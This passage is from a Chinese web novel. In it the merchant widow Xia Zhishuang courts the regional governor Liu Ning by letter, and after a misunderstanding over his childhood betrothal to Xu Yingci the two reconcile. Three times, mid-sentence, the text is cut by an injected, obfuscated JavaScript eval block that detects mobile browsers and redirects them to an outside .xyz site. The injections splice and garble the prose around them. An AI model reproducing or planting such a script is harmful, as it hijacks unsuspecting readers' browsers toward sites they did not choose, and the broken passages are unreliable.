说难听点,身居高位的大忙人肯抽空远行,必是有利可图。 夏知霜最拿得出手的是财和色,前段时间刘宁拒绝了她奉上的半数家资,那么对方最有可能是来图色的…… 听完彩玉的犀利分析和直白的话语,夏知霜脸上的温度消下去了,粉红泡泡碎了一地,感觉不到一丝丝暧昧中的浪漫了。 彩玉一脸淡然:“我的话虽不中听,本质上就是这么一回事。若你们成了,有利于你,更有益于陈记。” “容我想一想……” 夏知霜觉得她的话有一定的道理,可是感觉很多事情还理不清楚,心间笼罩着不安和疑惑。 骆怡的一系列撮合她和刘宁的举动,可以解释成是听命行事,但彩玉怎么会猜到刘宁今日会来,并早早给她准备幂篱? 还有那个卖花老翁,他是怎么通过只言片语就认定她和刘宁定情了呢? 这其中一定存在着什么误会,而且很大可能是出在她身上。 夏知霜思来想去,还是想不出头绪,便把她和刘宁之间由误解引发的二三事和盘托出,让彩玉帮忙分析:“我一言一行你都看在眼里,你快告诉我,我是不是哪里做了出格的事?” 彩玉的眼睛瞪得像铜铃,一脸“你居然现在才想起来问”的震惊表情,继而是“事已至此,纠结这个有什么用,还不如抓紧时间想想怎么迷倒刘督宪来得要紧”的恨铁不成钢神色。 吃惊过后,彩玉仔细回想,还真找出了蛛丝马迹:“你不是给他送过一柄扇子?” 夏知霜爽快承认:“扇上是观淇第一才子张明博的竹叶图,我料着他会喜欢这些文雅之物……”说到此直觉不妙,惊呼道,“问题出在扇子上?” 彩玉扶额点头,没想到她连观淇的风俗都不通晓,无奈的给她细致讲解。 “闺中密友表达亲近时,会赠予彼此贴身佩戴的饰物,寄以长久往来之意。放到男女之间,便是委婉的表明倾慕……扇子亦在贴身物件之列,你送了他扇子,他自然会误会。” 故而彩玉刚看到她把扇子当礼物给总督署送去时,感叹过她居然那么大胆豪放,而后赞赏她此计妙哉,没想到竟是误打误撞,误会一场。 好在歪打正着,无心插柳柳成荫了。 找出问题的关键后,夏知霜倒是都想通了。 即使刘宁之前只把她当作友人,收到扇子后难免会多想,于是有了千里奔赴、桥上成双。 桥上观景之前,她或许不敢奢想能跟他有什么密切往来,但看到他示好的时候,她怦然心动了。 简而言之,这是一段由误会引发的缘分。 夏知霜百味杂陈,紧跟着胡思乱想起来。 刘宁误以为她对他有意,才会对她另眼相看;现在误会解除,他对她的好感是不是就落回友人的范畴了呢? 可他选择将错就错,邀约她去里兴,证明他还不想放弃这段缘分的吧? 彩玉的劝导打断了她的纠结。 “据坊间传闻,刘四公子才华横溢,从无劣迹,是个值得托付的人。你也看到了,他貌如冠玉,一表人才,观东不知多少女子芳心暗许,你可莫要错失了良机啊。” 夏知霜轻叹:“我知道。” 那是站在观东权势顶端的人,四郡的子民仰仗他的鼻息过活,纵是不能与他更进一步,也要打好感情牌才是,最起码要维持住朋友的关系。 话虽如此,如约回信给刘宁时,她难以下笔。 首先怎么称呼刘宁就成了难题,她直觉刘宁不会喜欢她当面叫他的官称,照旧称“公子”显得生疏,叫他的字又过于亲密。 如此这般纠结十几天,刘宁的信反而先到了。 他分享了近期遇到的二三事。 有日到墨同郡会见贡阳书院的学子,一位寒门学子指着他的鼻子破口大骂,叱责他推行的政策弊端诸多,将把观东推入无底深渊。 他没有动怒,好声好气的跟那名学子详细解析新政策,有理有据且全程不骄不躁,把该学子说得心服口服。 当夜,他收到了该学子送来的赔罪礼,一只学子家中喂养得油光水滑、活蹦乱跳的大鹅。 他没舍得伤害憨头憨脑的白鹅,打算把它好好养起来,奈何大鹅无法无天,整日追着人猛啄,还闯进他的书房弄坏了好些书籍。 她在读的这封信就是后面起草的第二版,第一版就是大鹅亲掌毁灭的。 于是乎,大鹅没能逃脱成为盘中餐的命运,原本不忍心吃的他被香味吸引,悲伤地下箸了…… 后头的事迹亦是些令人捧腹的趣事。 夏知霜不知不觉笑容满面,反复观看几次,珍惜地收进匣子里,跟他送的花伞放在一块。 这次回信没再犹豫,她在开头害羞地写下“季安”二字,同样分享生活中的事。 她最近忙碌之余重拾了民族乐器,从骆怡那里探知他最爱洞箫,她就学了横笛,希望来日有机会能合奏一曲。 刘宁再次回信的时候附上了一本谱子,册中的词选自多首诗经,曲是他往日闲时所谱。 夏知霜依照他给的谱子练习,不知是不是情人眼里出西施的缘故,觉得他每一首曲子都精妙绝伦,百听不厌。 她最爱当中的一首《东门之杨》,悠扬婉转,宛如天籁。 当然,她信中表达了对这首曲子的喜爱和感想,没想到对方迟迟没回信。 往昔每旬日交换一封,最迟不过半个月,现在过了最久的期限还不见回音。 夏知霜寝食难安,担心他是不是遇上什么棘手的事,操心他是否太忙了顾不上吃饭睡觉和看信,更是害怕他遇到了不测。 她从未对一个人那么牵肠挂肚。 幸好骆怡跟里兴那边的通信没断,她从同僚口中得知刘宁最近特别忙,常常和幕僚议事一整宿,连军师鲁元都不常现身。 战事刚结束不久,观东四郡元气大伤,刘宁又是事必躬亲的性子,可谓夙夜匪懈。 他没事就好,夏知霜放下心来,专心忙生意的事。 经过刻苦钻研,她渐渐学会了怎样经营商行,依照鲁元指点的计策,对御下之道得心应手,现今丁卯对她服服帖帖。 鸡蛋不能放在同一个篮子里,她始终堤防着丁卯。 因各地战事频频,陈记关了不少店,海外的航线也停运了,不过破船还有三千钉,陈记目前还存有六百多家店铺。 大掌柜的职位之下有几百个小掌柜,人多了免不了勾心斗角,不少人想取丁卯而代之。 夏知霜这半年见齐了重要的管事,把各个管事的性情摸通透,见人说人话,见鬼说鬼话,放任他们良性竞争。 此外,横笛的技艺也有所精进。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482331|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 以前就学过,笛子的设计也一般无二,她还特意找了有名的乐师教学,下苦功夫重练那么久,成果喜人。 彩玉和骆怡不懂丝竹,听她练了数月已然麻木,但每次都很捧场。 熟练吹完谱子上的曲,妆匣里的信快翻烂后,刘宁的信姗姗来迟。 其实才过去二十天,她却觉得像二十年一样漫长。 夏知霜迫不及待拆开信封,见到他熟悉的字体述说着她触摸不到的点滴,悬在心口的巨石落了地。 他先为隔那么久才回信而诚恳道歉,才说最近忙了什么,整整写了五页纸。 她后知后觉的发现,刘宁为她改变了写信风格。 他过去写信的风格是严肃的文言文式,用最少的字表达最多的信息。她不同,始终不习惯文绉绉的表述方式。 现在他跟她一样在信中写了大白话。 刘宁可能是照顾她认不得多少生僻字,也可能是只是单纯被她同化了,无论真相是什么,她都为他的迁就而暗喜。 除了信纸,这次多了一张谱子,以及一对漂亮的玉镯。 他们常常会备礼随信给对方送去,多是不值钱的东西,比如形状别致的石头,颜色好看的树叶,美味的糕点等。 送贴身物件还是第一次。 刘宁说,知道她不缺胭脂首饰,尤其是玉石,可他在街上偶然看到这对镯子就被吸引了,脑子里只有一个想法,她戴起来一定很好看。 跟镯子一起送来的谱子,是改版过的《东门之杨》。 他最喜欢这首曲,得知她也钟意,回想收到她送的扇子,却迟迟等不来她的只言片语时的心情,倏忽有了新灵感,百忙之中写下来了,邀她共赏。 夏知霜试吹新曲,果然更爱了。 思及这是他想着她谱的曲,转念又想起这首诗经表达的含义,她双颊再度升温。 一旁的彩玉忍了又忍,终于看不下去了。 “既然你们两情相悦,何不趁他送你定情信物为机,暗示他前来求亲?” 夏知霜美目圆睁,被她的话惊到了:“会不会太快了……” 彩玉不觉得有什么不妥,很理性的给她分析利弊。 于女子而言,总督刘府是观东四郡最好的人家,何况刘宁人品那么好,若能顺利嫁进刘家,今生有享不完的荣华富贵。 一旦跟总督府绑定,她手中庞大的财富定当无忧,眼馋她家资的人万万不敢把主意打到总督府头上。 总之,她嫁给刘宁百利无一害。 这些话过于现实,夏知霜被她泼的“冷水”浇醒了,愣了良久。 在这个时代,谈恋爱跟婚姻直接挂钩,如果她回应刘宁的感情,意味着他们是以婚姻为前提而往来。 况且她觉得和刘宁刚进入暧昧阶段,那层窗纸都还没捅破,眼下就要谈婚论嫁,有种赶鸭子上架的紧迫感。 夏知霜还是觉得太快了。 骆怡乐颠颠地加入彩玉的阵营,不以为然:“哪里快了?拜堂前没见过面的新人比比皆是,你和主公算慢的了。” “你什么时候来的?”夏知霜吓了一跳,还不适应她的神出鬼没,接着迟疑反问,“当真不快?” “不快!”骆怡斩钉截铁。 彩玉道:“有人在二月十五花朝节互赠花枝定情,三月初八月老节议亲。督宪等你至今,可见其真心啊。” 夏知霜想了想,迅速被说服了。 民间盲婚哑嫁是常态,婚前能见几面再嫁都算好的了,对比起来,刘宁确实很有耐性。 夏知霜满心欢喜,激动地戴上对镯,爱不释手,很快回信给他。 信中只有一行字:深好君贻之镯,左右宜适。 这夜,她翻来覆去难以入睡。 待信传到里兴,另一人亦喜悦难寐。 22. 第 22 章 戴上刘宁送的玉镯,二人就算是定情了。 不知为何,夏知霜频繁梦见陈鸿彦用意义难明的视线盯着她,梦见陈父陈母的冤魂找她索命。 她从始至终没见过俩老货的尸身一眼,只听说死不瞑目,梦中的他们死法就千奇百怪,形状一日恐怖过一日。 半夜惊醒后就彻底睡不下。 夏知霜夜里常起来读刘宁的信,看一看他送的花伞,摸摸腕间的玉镯,莫名的就没那么害怕了。 这样熬下去不是办法,彩玉找名医给她配几副安神汤回来。 她喝了不大见效,严重的时候照样通宵达旦。 彩玉抱怨说:“他们死有余辜,不好好在底下赎罪,跑回来缠着你做甚?改明儿找道士给你送送。” 夏知霜喝着安神汤占住嘴,点了点头。 她心里不信神神鬼鬼,若世间真有神明,她在陈府受苦受难时,求了千百次怎么一次都不灵验呢。 但世人深信不疑,她就把拜神送鬼当习俗了。 喝完难闻的汤药,夏知霜细细嘱咐:“送脏东西的事就托给扶微观的玄灵小师傅吧,另外备份礼答谢他数次救我之恩,不用太厚,小礼即可。” 小道士为人正派,厚礼恐会吓到他,以后有事首选找他就行。 目下她名声在外,有她带头当信士,料想小道士的香客会越来越多,云鹤老道会随之看重他,那样就是对他最好的报答了。 彩玉火速挑好礼物给她过目,确认没问题后,武氏日夜兼程去往阑州的苍翎山。 俗话说,日有所思夜有所梦。 夏知霜想让自己忙起来,最好没时间想太多杂事,累到倒头就睡才好。 陈记一应事务有丁卯照料,需要她拍板决策的事不多,她打算找点自己感兴趣的事去做。 试过练书法、学围棋、画画什么的,感觉还不错,还能增加自己的技能。 但她觉得自己还不够沉浸进去。 夏知霜冥思苦想,在面见完合作商回去的路上,又一次被马车抛颠到反胃,感叹生活在这个时代诸多不便时,忽然灵光一闪。 既然科技落后,基建不好,为何不想办法发展呢? 她是理科很糟糕的艺术生,没能把炼制玻璃等超前的技术带到这个时代来,可她有钱呀,集结相关人才让他们研究去不就好了。 彩玉再三琢磨,这事说好办也好办,说难办也难办。 搭桥修路等工程是需要官府首肯的,官府不理你,任你有三头六臂也无计可施。 她建议道:“事关重大,最好先得到官府的支持,何不先试探丰瑛郡何郡守的态度,或是问问刘督宪的看法?” 夏知霜想了想,打好腹稿,提笔写信。 她跟刘宁通信半年多,彼此交心,多少有些默契,她预料对方不会有异议。 刘宁得知她的想法后果然很赞同,这事真做成了就是利国利民的好事,他自是求之不得。 她读信读到这儿就笑了,欢喜的对彩玉道:“他说会在能力范围内给予帮助。” 四郡总督能给出这句承诺,相当于无条件支持她放手去搏了。 彩玉真拿他俩没辙了,这么志趣相投还不成婚,等啥呢? 她无语地问:“你时间可不多了,怎么还不跟他提起婚事?” 夏知霜迷惑地抬头:“什么时间不多,我如今最不缺时间。” 彩玉见她神情不似作假,无奈极了,但也习惯了她一问三不知,告知她三十及以下岁数的无嗣寡妇两年内必须再醮的规定。 这条政令在老总督时期就已存在。 归根结底,此条法规专为增涨人口而设。 群雄割据后,观东和淇南结为友邻,抱团取暖又彼此堤防,观东四郡的人口不足淇南五郡的六分之四,处于势弱之位,此为原因之一。 另一侧邻地为高淙三郡,其总督胡奕自立为“康王”,向来跟观东不合,两边陆续打过几仗,观东虽缕胜,但人口锐减,此为原因之二。 这条政令就被老总督推行,持续至今。 为了无嗣寡妇能腾出更多的时间择新婿,寡妇的孝期也从三年减到一年,再减到半年。 假使两年都没能找到合适的人选,官媒出面保媒三次,如果三次内女方都看不上男方,就强制性要求女方跟第四次安排的对象完婚。 官方保的第一次媒往往是最用心的,尽量保证双方门当户对,尽量满足双方提出的择偶条件,故而一旦惊动官媒,双方最好就在第一次保媒中认真对待。 当然,也不是说没有人在第二次和第三次官方保媒中看对眼,可这种情况少之又少。 换言之,能不到官媒找上门那一步是最好的。 夏知霜的情况较为特殊。 她原本只用守半年的孝,为了巩固“孝媳”的人设,自行守满一年,但这不意味着她多出来的半年孝期可以肆意虚度。 成亲很费事,尤其刘家是观东最显赫的世族,繁文缛节只会比寻常人家多。 彩玉一条条罗列成婚的流程,最少都要一年去筹备,当真耗时耗力。 夏知霜虚心听教,不由得陷入了沉思。 自打她接受刘宁的对镯,代表她愿意跟刘宁走到那一步,设想中,那是很久以后的事。 不过现在得知她必须在规定期限内出嫁,计划就完全不同了。 她起身踱步,慢慢啜饮温茶,神思恍惚。 既然必须要嫁人,刨除她和刘宁的情分,刘家也是她最理想的人家,能护住她手中的财富是最大的考量。 真能坐上总督夫人之位,掌握了一定的权势后,在观东就没什么人能欺她、辱她了…… 只剩不到半年的时间,她想嫁入刘家的话,必须早做筹算。 首要的是打探刘宁对婚事的态度。 夏知霜一瞬间就做了决定,低声说:“叫人准备一下,我要走一趟墨同郡。” 彩玉很高兴她想通了,当即着手准备。 骆怡被留下来看家,她武艺超群,能镇住那些想趁夏知霜不在而闹事的魑魅魍魉。 丰瑛郡的青阳城与墨同郡的里兴县相距七百多公里,中间隔着一个台开郡,马车从青阳城出发走走停停,用时八天才抵达。 里兴有几家陈记的客栈、米铺和首饰店,夏知霜以视察店铺的名义来的,先去店里巡视一番。 她看了一个多时辰的账本,因极力隐忍迫切的心情,不免面沉如水,吓得几个作陪的掌柜冷汗直流。 以舟车劳顿为由离开店铺后,她和彩玉直奔打听来的总督署地址。 总督署位于里兴僻静的地段,其巍峨的建筑群很好认,门前一对石狻猊镇守的就是衙门。 夏知霜顺利找对地方,惊喜地看见熟悉的青衫公子背对着这个方向站在衙门外,她按耐激动的情绪,慌忙整理衣冠。 捯饬几下能见人后,她正要出声呼唤,察觉他对面立着一位俏丽的少女,两人熟稔交谈。 他在忙别的事。 原来不是近在眼前了就能立马叙旧。 夏知霜有点失落,更多的是理解他的繁忙,体贴的想等他们谈完再过去,下一瞬就愣住了。 少女眼波流转,提着装有明显是亲手制作的点心的篮子,她把篮子递给了对方。 夏知霜的心猛然揪紧。 那姑娘可能是他的亲戚吧… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492643|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …可是听说他的亲戚被叛军屠戮干净了。 也许是他部下的亲人呢?被家人托着给他传话顺便送东西来了。 她胡乱找着借口,在目睹少女面颊酡红,明亮的眼眸闪烁着动人的情意,而刘宁自然地接过花篮,夸了句“好香啊”的时候,理智不翼而飞。 身体比反应快,她径直朝他们走去。 彩玉想上前拦,看到衙门门口威严的带刀守卫后,选择留在原地等她。 我不是要阻碍他办差,也不是要打断他们的交谈,只是去打个招呼,露个面就即刻离开——夏知霜给自己找好了冲出去的借口。 下一刻听清他们谈话时,她顿在半道。 女子不好意思地说:“还好有你在,谢谢啦。” 刘宁含笑:“你这么客气我倒不习惯了。” “每次都要麻烦你,感觉很对不住嘛。” “你我自幼指腹裁襟,早已不是外人。我愧对于你,只恨没能为你做更多,英慈,你千万别跟我见外。” 夏知霜如遭晴天霹雳,接下去的话不想再听,也无心去见他。 她不想任何人看到自己狼狈的一面,悄悄退远,含泪往回跑。 彩玉忙跟上去,无奈怎么追都追不上,吃惊她的速度能跑那么快。 若非夏知霜只顾着伤心没看路被绊倒,她还真不一定能追上。 彩玉赶紧抓住她的手,不及喘匀气就怒问:“好不容易见上,你跑什么?” 夏知霜伤心难过,委屈巴巴,眼泪刷拉淌下。 “人家说得清清楚楚,他们指腹为婚,青梅竹马,他早就有婚约了!” “既然有了未婚妻,为何还要来招惹我?” 是了,以他的家世地位,怎会及冠之年都尚未婚配。 她泪如雨下,偏偏自己是插足人家感情的那一方,骗她的混球还是权势滔天的人物,整个观东没人奈何得了他,说理都没地方说去。 长痛不如短痛,夏知霜跌跌撞撞爬起来,语气决绝。 “走,我们回青阳,这辈子再也不要踏进里兴一步!” 彩玉扶她起身,努力劝解:“何必如此?他那么喜欢你,就算你不能做正房,料想他也不会亏待你。” 给总督做妾好过做郡守妻,更好过攀附小官小吏。 这么显而易见的差距,彩玉不认为她这么清醒的一个人会好赖不分。 夏知霜当然知道好歹,如果没得选择,如果真的走投无路,她也许会为了活命而屈从做小。 可现在她还有得选择,前世培养起来的道德观,让她无法轻易说服自己去当人小妾。 最让她难受的是,刘宁一句没提他有婚约的事实。 夏知霜心如刀绞,红着眼睛看向平静的彩玉:“莫非你早就知道他有未婚妻?” “观东很少有人不知道。”彩玉反而奇怪她今时才知情。 老总督麾下有两员名将,段鸣粗豪直率,许春果敢圆滑,刘家四子皆与两家联姻,许家这边则是刘宁跟许英慈。 二人差两岁,因轮守孝,婚事就一搁再搁,本来今年刘宁脱孝,两人可以随时成亲了,奇怪的是到现在迟迟没动静。 感情之事,向来旁观者清,当局者迷。 彩玉又劝:“你去哪我不阻你,只是督宪的性情大家有目共睹,你不如先跟他见一面,有话好好说,听完他的解释再做决定不迟啊。” 一席话入情入理,夏知霜慢慢冷静下来了。 的确,临阵脱逃不是她的作风,适才被强烈的负面情绪主导才失了理性,她夏知霜敢爱敢恨,就该当面向他问个清楚。 她如梦初醒,对彩玉道谢后便返身跑回去。 23. 第 23 章 折返的路出奇的漫长。 胸腔缺氧到生疼,夏知霜一点也不敢停下,怕刘宁期间外出了,怕等一下撞见她不想见的情人相依的画面,更怕听见他虚情假意的解释。 快点,再快点! 人生地不熟,疾跑时还得分神辨认路段,她险些和行人撞到一处。 “怎么不看路啊?!”那人皱眉埋怨。 夏知霜忙给他道歉,那人见她态度好,嘟囔俩句就没再计较。 她定了定神,茫然环视,发现自己跑到不认识的岔路来了。 怪她先前伤心时慌不择路,眼下想原路找回县衙需多费一番功夫。 正向找个人问问总督署的衙门怎么走,焦急四顾时,她跟同样慌张寻找的人视线相碰。 刘宁安心落意:“知霜!”他箭步上前,轻拽她的袖口,“这里不是谈话的地方,先跟我来。” 里兴认得他的人太多了,夏知霜只好随他去。 到了茶馆的雅间,一整层楼唯他们二人,她闷声问:“你缘何知道我在此?” “你才刚进城,我这边就收到消息了。”刘宁给她斟茶,娓娓道来。 他加快处理紧急公务,打算出门见她,没成想在衙门口迎面遇到了旧识。 他们交流几句后,许英慈余光瞥见她含泪跑走的身影,奇怪地询问他认不认得此人。 刘宁回头看去,那边哪还有什么人影,只余一片湖绿色的衣袂闪过拐角。 门口的守卫又道,那女子原先是想靠近他们的,不知为何又突然走掉,甚是可疑。 他暗忖几瞬,瞬间明白是她寻过来了,于是匆忙追上去,在岔路的另一条街上找了许久没见人,这才换到这边的街道。 “一个人找终究花去不少时间,若是早点派人暗中搜寻就好了,”刘宁自嘲哂笑,“是我一时情急迷了心智,想不到叫人来帮忙。” 能令他失态至此,世间只有她一人了。 刘宁久久没听到回应,抬眸看去,惊见她美目泛泪。 他一下子慌了,正欲询问,被她一连串的话语堵住开口的机会。 “我问你,你分明有未婚妻,为何还要跟我暧昧不清,你当我是什么人了?你曾在信中说向往大雁的忠贞,枉我以为你跟我是一样的人,认定对方就不容二心。你怎能表里不一,欺瞒于我?” 夏知霜本想心平气和的沟通,谁知腹中火气难消,一出口就是凶巴巴的质问。 刘宁被凶非但不恼,反而笑起来。 “你!”夏知霜柳眉倒竖,气鼓鼓问,“你笑什么?!”难不成他还是抖那啥艾慕? 事实证明是她想多了。 刘宁嘴角平下去,黯然道:“你知道么?好久没人这么管我了,我感觉很熟悉,很怀念。” 父兄忙于政务常常不着家,平时是娘亲管他,娘亲病逝后是嫂子们一起管,后来叛军烧杀抢掠,家人全没了。 再后来接任总督之位,所有人对他毕恭毕敬,往昔无话不谈的朋友也疏远他了。 他还以为,天底下再没人敢跟他大声置气。 其实比起被人高高在上地捧起来,刘宁更想要别人将他放到对等的位置上交流,那样他觉得他还是他自己,不单单是“总督”而已。 刘宁看着她的眼睛说:“我的意思,你应该能明白。” 只有她才能让他做回他本身。 从一开始,他们就没有在意过彼此的身份高低,跟她交流起来格外的舒心。 于刘宁而言,她是特别的人。 夏知霜自然听明白了言外之意,却没被绕进去,她饮尽杯中茶水,重提旧事:“那你未婚妻是怎么回事。” “我正要告诉你,”刘宁觑见她面沉如水,不疾不徐地添茶,“气大伤身,你莫恼,听我把话说完。” 刘家和许家确有婚约,那是很久以前的事了。 他和许英慈带着婚约出世,从小一起长大,亲如同胞兄妹,对彼此生不出半点男女间的情愫。 一次许英慈贪玩遇险,被他身边的偏将聂桓搭救,她从此芳心暗许。 没有人知道,他发现许英慈爱慕聂桓的时候高兴坏了,真要他娶亲妹妹看待的许英慈,他会莫名有股罪恶感和抗拒感。 刘宁道:“聂桓就是你见过的玄衣小将,其父聂瑄勇武过人,原是我父亲的心腹。可惜聂老将军在与高淙大军交战中被暗箭所伤,其二子也相继重伤而亡。” 夏知霜仔细回忆上次见的玄衣青年就是聂桓,暗暗点头。 聂桓英朗健硕,加上英雄救美时的吊桥效应,许英慈看上他再正常不过。 聂家满门忠烈,聂桓继承了其父过人的计谋和英勇,战功赫赫,如今地位仅次于段、许两家。 如果许英慈没有被指婚给刘宁,聂桓和许英慈门当户对,亦是佳话一桩。 刘宁主动撮合他们二人。 中间许英慈如何苦追心上人,聂桓又是怎样在“忠义”和“爱情”间苦苦挣扎的暂且不提,小两口好容易说开定情,也跟刘宁约定好退婚的日期。 孰料刘母辞世,许家不好在那个节骨眼退亲,免得落人口舌。 待刘宁孝期过去,许家又遭变故,许春老将军不顾军师劝阻带伤上阵,不幸战死沙场。 轮到刘家不便在许英慈孝期退婚了。 等许英慈守完孝期,谁想等来了叛军事变。 待刘宁成功收复四郡,两家都不剩什么人了。 在他接任总督的前夜,由许英慈的兄长许睿作证,烧掉当年裁作信物的襟布,拖了许多年的婚约终于了结。 他和许英慈当场义结金兰,从此兄妹相称。 不过他刚收复失地,局势尚未完全稳固,遂听从军师鲁元的建议,暂时瞒下退婚的消息,避免歹人误以为刘、许两家决裂有机可乘再生事端。 因此,刘宁实际上在很多年前就是自由身了。 夏知霜听完了始末,只能叹一句:“真是造化弄人。” 刘宁说:“目今观东局势已稳定,近期便公布我和英慈取消婚约的消息。” 她不悦蹙眉:“那你为何不早告诉我?” 刘宁很冤:“我有在信中以诗文提及原委,你夸过我行文感情充沛、情真意切,你不记得了?” 夏知霜:“……” 她努力回想,想不起究竟是哪首诗跟此事相关。 他很爱写诗,给她寄过不少邀她共赏,看起来文如春华字字珠玑。 但她是一个常年生病,把医院当家不怎么有机会去上学,请了家教可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501129|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大部分时间还是窝在琴房里练习,文理两科才堪堪过及格线的渣渣。 他寄来的诗她有的能看出核心思想,有的她很多字都认不全。 查清陌生字的原意后,她还是觉得生涩难懂,于是避开谈论其内涵,那不就只能夸“感情充沛”了。 夏知霜囧囧的,痛恨自己在这个时代是个文盲的存在。 刘宁观她一二神色,心如明镜,佯作诉苦。 “我分明事先有告知详情,却遭人没道没理地斥责一通,”他做张做势哀叹,“我好苦,好冤呐!” 夏知霜自知理亏,忙给他倒茶,好言好语:“对不起,今日是我不对,我今后定不会再随便怀疑你了……” 倒完茶瞄见他眼底的笑意,她立马反应过来,伸手捶他:“好啊,你居然诈我!” 刘宁看她怎么都是可爱的,何况她目下难得娇蛮,自当愈发喜爱。 他任她捶打,轻轻挑眉:“打了我你可就不许恼了,也不许醋了。” 夏知霜白他一眼,转过身去轻哼。 刘宁忍俊不禁,稍微凑前,纸扇轻戳她桌上的手勾她注意,故意提高腔调:“你曾言你不会哄人,方才就哄得我心花怒放,夏姑娘真是谦虚了。” 那是道歉,才不是哄人好么! 本以为他是板板正正的君子,怎么没发现他还有故意逗趣的一面呢?不过这一面她也喜欢。 夏知霜回身娇嗔:“刘公子再胡言乱语,本姑娘可就不理你了。” 刘宁起身整理衣冠,一本正经作揖,嘴上却是戏腔:“在下失言,还望姑娘海涵,有事好好商量,切莫冷落在下~” 这是花朝节夜会,他们在画舫上排的《墙头马上》听来的戏腔。 夏知霜被他滑稽的样子逗笑了,他也没忍住跟着一起笑。 夜幕下沉,外面热闹的声音从窗口传进来。 刘宁朝她伸手:“带你去瞧瞧不逊于青阳的夜景。” 夏知霜握上他扇子的尖端,由他牵着走。 此地不比青阳,太多人认得新总督年轻英俊的脸,为了她的声誉着想,刘宁出了茶楼就从暗卫手中接过半面的面具戴上。 里兴设有总督府,是观东四郡最繁华的地方,比起青阳城的夜景不止没逊色,还多热闹几分。 刘宁深知她的喜好,一路不停给她买色香味俱全的吃食,每当夏知霜尝到爱吃的东西幸福眯眼的时候,他比她本人还满足。 各地街景大同小异,迥异的是人文和习俗。 夏知霜看到了一队跳盘鼓舞的美貌伶人,见识了曲水流觞的风雅,观赏了没听过名字但非常美丽的鲜花。 人群拥挤,刘宁一直保护她没被人推搡到,且全程没有碰到她一根发丝。 谁也想不到,擦肩而过的面具人,竟会是他们敬畏的刘总督。 此时此刻,夏知霜产生了独占他的错觉,还有强烈的满足感。 刘宁见她暗暗偷笑,低头问:“怎么了?” “没什么,”她眉眼弯弯,踮脚迎上去,在他耳边做贼似的小声说,“就是觉得,有种背人私会的禁忌感。” 刘宁双耳倏然爆红。 不知是因她悄然拉近的距离,还是因温热的气息刮过耳廓,或是话语本身的含义之故。 24. 第 24 章 彩玉早早收到刘家暗卫报平安的消息,待夏知霜“私会”完回到客栈,得知他们二人和好如初,这才彻底松气。 “那婚事……”她暗示道。 夏知霜已不见半点娇蛮之气,极其冷静地说:“我不能主动提。” 那样太掉价了。 对方喜欢看她吃醋爱娇,喜欢看她被宠溺到适当放肆,她就顺势做给他看。 可婚姻这么重大的事,对方还是对她来说高不可攀的门第,她就是被动的那一个。 “他会自己着急的。”夏知霜把玩刘宁送她的一支春桃,胸有成竹地笑道。 太容易得到就不珍惜是男人的劣根性,她不知道刘宁会不会那样,她不敢赌,反正已经吊过他半年之久,并不急在这一刻。 彩玉见她这么有把握,也就不理会这对有情人如何拉扯了。 次日上午,她从米铺巡视回来,听客栈掌柜说有客到访,那人等候多时了。 夏知霜打听到那人姓许,是位女子,她和彩玉对视一眼,匆匆换衣服就往待客室去。 来人正是许英慈,一袭鹅黄绣花裙愈发显得亭亭玉立。 许英慈才见掀卷帘的彩玉便眼前一亮,待看到后头进来的夏知霜更是欣喜若狂,心道真真是艳如桃李的大美人儿。 她站直迎上去,半点不见外。 “这位就是夏姐姐吧?我叫许英慈,是季安兄长的义妹,早前无意中得知你和兄长通信往来,由此知晓你们的不解之缘。今知你身在里兴,英慈特来拜会,若有叨扰,万望海涵。” 她人如其名,英气逼人,嘴上妙语连珠,三两句就把他们几人的关系说清楚了。 夏知霜心想好一个伶牙利嘴的丫头,面上不动声色,摆手请座。 “许姑娘客气了,我亦从季安处知你二三事,素仰英姿已久,早有请见之心,奈何俗事缠身,今有幸得见喜不自胜,只是寒舍粗陋,招待不周,还望你不弃。” 许英慈连忙表示不介意,回说这里就很好云云。 例行寒暄过后,双方交换见面礼。 许英慈给她准备的是一个亲手绣作的香包,装的香料亦是亲手所配,也顺手送了一盒。 夏知霜这边是精挑细选的一支鎏金蝴蝶钗,“翅膀”由漂亮的宝石嵌成,上缀圆润有泽的珍珠,戴上行走时,“蝴蝶”随之颤动,像是活的一般。 也算是赶巧了,昨夜刘宁说找机会引见她们认识,她就抽空去了当地最好的首饰铺——陈记,挑了这么一支钗子。 首饰铺都有一批不对外公开售卖的镇店之宝,鎏金蝴蝶钗就是其中之一,拿出来送礼,可见她的用心。 她准备好礼物的时候,还不知道许英慈会先来找她,所以这份礼物也证明了她想跟对方结交的真心。 许英慈果真爱得不行,当场要夏知霜给她戴上,夏知霜也系上新得的香包。 